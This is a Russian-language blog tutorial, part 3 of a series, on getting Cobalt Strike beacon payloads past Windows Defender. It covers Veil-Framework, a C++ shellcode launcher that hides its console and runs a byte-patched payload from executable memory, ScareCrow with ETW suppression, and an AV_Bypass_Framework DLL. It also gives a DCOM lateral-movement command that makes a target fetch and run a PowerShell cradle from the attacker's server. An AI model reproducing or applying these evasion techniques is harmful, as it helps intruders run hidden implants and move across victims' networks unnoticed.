Обфускация Cobalt Strike для самых маленьких. Часть 3. Уходим от обнаружения

Обфускация Cobalt Strike для самых маленьких. Часть 3. Уходим от обнаружения

@Leakinfo

Эта статья является продолжением обзоров/гайдов Cobalt Strike, в ней речь пойдёт о шифровании пейлоада и уклонении от антивирусов.

Ознакомится с прошлыми частями Часть 1 - Часть 2.

Про способы доставки полезной нагрузки можно узнать тут.

Veil-Framework

Начнём с достаточно старого фреймворка — Veil-Framework (скачать можно тут), это инструмент для создания исполняемых файлов с полезной нагрузкой, который поможет обойти обычные антивирусные решения. Функций у данного фреймворка очень много, но мы разберём лишь основные из них.

Сначала нужно сгенерировать пейлоад с кобы, для этого заходим в Attacks -> Packages -> Payload Generator:

В окне генерации пейлоада выбираем Veil:

Нажимаем ОК и указываем путь, куда кобальт сохранит полезную нагрузку:

Теперь мы можем запустить Veil, для этого используем команду python3 Veil.py:

Выбираем первый пункт (Evasion) командой use 1:

Далее выбираем пейлоад из списка (для примера возьмём python/shellcode_inject/flat.py ):

Теперь необходимо создать exe файл, для этого вводим generate и указываем пейлоад из кобы, после этого выбираете чем создать exe (можно просто пропустить, по умолчанию используется PyInstaller):

В конце работы Veil сообщит место с пейлоадом:

Передаём файл на тестовую машину и запускаем его:

Спустя несколько секунд мы получим коннект в кобе:

Если вам интересно, как и с чем ещё можно использовать Veil, то вы можете почитать доклад из NCECA 2021, в нём разобрано создание бэкдора с использованием Metasploit.

Меняем байты

Ещё один способ уйти от обнаружения Windows Defender — поменять один или несколько байтов из пейлоада кобальта.

Как и в случае с Veil нам необходимо создать пейлоад, делаем всё тоже самое, но в output выбираем C (если пейлоад для x86 не сработает, то стоит попробовать x64):

Теперь поместим полученный нами шелл-код в “лаунчер”, который напишем на C++. Работать он будет примерно так:

  1. Изменяем \xfc на любое другое байтовое значение (как пример можно использовать \xfd);
  2. Сохраняем правильный первый байт \xfc в переменной first;
  3. Перед копированием полного шелл-кода во вновь выделенную память замените плохой байт \xfd на хороший \xfc;
  4. Запускаем шеллкод.

Код:

#include «Windows.h»

int main(int argc, char *argv[]) {

::ShowWindow(::GetConsoleWindow(), SW_HIDE);

unsigned char shellcode[] = «\xfd\ШЕЛЛКОД_КОБАЛЬТА»;

char first[] = «\xfc»;

void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

memcpy(shellcode, first, 1);

memcpy(exec, shellcode, sizeof shellcode);

((void(*)())exec)();

return 0;

}

Скомпилировать код можно в Codeblocks, для этого нужно нажать на кнопку build:

После запуска скомпилированного exe в кобу должен постучать наш хост:

ScareCrow

ScareCrow описывается как «платформа для создания полезной нагрузки». Вы можете прочитать все о том, как это работает здесь. Если говорить кратко, то мы генерируем шелл-код из программного обеспечения по нашему выбору (Cobalt Strike, Metasploit, PoshC2 и т. д.) и передаём его в ScareCrow, чтобы вернуть загрузчик, который будет реализовывать некоторые распространенные методы уклонения от АВ. ScareCrow берет ваш “необработанный” шелл-код и шифрует его с помощью AES, что позволяет избежать статического обнаружения на диске, когда продукт защиты сканирует созданный вами загрузчик. Защитник Windows довольно хорошо распознает шелл-код маяка Cobalt Strike, поэтому этот шаг имеет решающее значение.

После выполнения сгенерированного загрузчика он обойдет хуки АВ на NTDLL.DLL загрузив чистую копию NTDLL.DLL (а также kernel32.dll и kernelbase.dll) с диска и заменит его подключенным в вашем пространстве процессов. После он использует системные вызовы для загрузки, расшифровки и запуска вашего шелл-кода в памяти. Использование сисколов — отличный способ избежать перехватов и мониторинга поведения. Я не буду здесь вдаваться в подробности, вы можете прочитать больше о том, как это работает в репозитории GitHub.

Для создания первоначального пейлоада нужно перейти в Attacks -> Packages -> Windows Executable (S):

Теперь нужно клонировать репозиторий ScareCrow и следовать инструкциям по установке в README, а также установить несколько зависимостей, таких как golang, mingw-w64 и т. Д.

Команда для запуска фреймворка:

./ScareCrow -I /path/to/your/payload.bin — noetw -domain www.microsoft.com

Домен можете использовать любой, который вы захотите, -etw предотвращает создание событий ETW. После запуска команды ScareCrow возьмет ваш шелл-код, зашифрует его и сгенерирует файл .exe:

После запуска exe, дефендер пропустит пейлоад, а мы получим коннект к кобе:

AV_Bypass_Framework_V3

При выполнении инъекции DLL требуются два компонента. PE с шеллкодом и загрузчик. Загрузчик обычно представляет собой код, который загружает вредоносную библиотеку DLL в память цели и вызывает нужные функции из библиотеки DLL. PE в нашем случае вредоносная библиотека DLL, которая будет загружена в память цели с помощью загрузчика и выполнена для запуска желаемой полезной нагрузки.

Как вы можете судить по названию, у этого инструмента есть несколько версий. Идея состояла в том, чтобы автоматизировать создание вредоносной библиотеки DLL, которую затем можно было бы внедрить в память цели для запуска полезной нагрузки.

Инструмент AV_Bypass_Framework_V3 принимает строку кода в кодировке base64 в формате C# и выдает DLL и загрузчик PowerShell, которые можно использовать в ваших целях. Это можно сделать следующим образом:

AV_Bypass_Framework_V3.exe ПУТЬ_К_Б64_ШЕЛЛКОДУ

Для создания нужного нам шеллкода необходимо использовать скрипт CCSG (https://github.com/RCStep/CSSG), после его установки вы увидите в панели сверху меню Shellcode:

Теперь у нас есть шеллкод, который подходит для AV_Bypass_Framework, запускаем утилиту и получаем зашифрованный пейлоад:

Что делать с DLL дальше? Вариантой много, но мы рассмотрим только два:

  1. Мы можем воспользоваться инжектором dll, который писали тут;

DCOM_AV_EXEC позволяет осуществлять «бездисковое» боковое перемещение к цели в той же сети через DCOM. Чтобы использовать DCOM_AV_EXEC, вам необходимо иметь разрешения локального администратора для цели (например, это может быть с помощью украденного/созданного токена на вашем текущем маяке Cobalt Strike или, например, при наличии существующего сеанса в качестве локального администратора на вашем маяке, который также имеет эквивалентные разрешения для пользователя целевого домена с правами локального администратора на обеих машинах).

В зависимости от механизмов обнаружения, присутствующих в целевой сети, боковое перемещение DCOM может быть полезным. Такие инструменты, как psexec или wmiexec, являются шумными и часто отслеживаются. Боковое движение DCOM все еще может остаться незамеченным при правильных обстоятельствах.

Как использовать DCOM_AV_EXEC?

  • Разместите созданный AV_BYPASS_FRAMEWORK_V3 DLL (AutoGen.dll) в кобальте;
  • Измените файл Cradle.ps1 (создаётся AV_BYPASS_FRAMEWORK_V3) на библиотеку DLL, размещенную в Cobalt Strike. Также разместите файл Cradle.ps1 в Cobalt Strike.
  • Выполните DCOM_AV_EXEC с целевым и размещенным URL-адресом cradle.ps1 в качестве аргументов (execute-assembly ПУТЬ_К_DCOM_AV_EXEC /target:ЦЕЛЬ-СЕРВЕР /cradle:http://АЙПИ_КОБАЛЬТА/cradle.ps1):

Об этом мы расскажем в следующих статьях.

Выводы

Избегайте размещения чего-либо на диске. Поскольку по умолчанию АВ-решение со сканированием в реальном времени будет анализировать файл на предмет вредоносного содержимого. 2) Шифрование или кодирование шелл-кода имеет большое значение, так как вредоносный шелл-код в обычном формате будет обнаружен. Будь то в памяти или на диске. 3) Найдите способ запускать ваши функции только при вызовах определенных частей кода, а не как часть основного метода – это может помочь обмануть эвристику.

Source cybersec.org



Report Page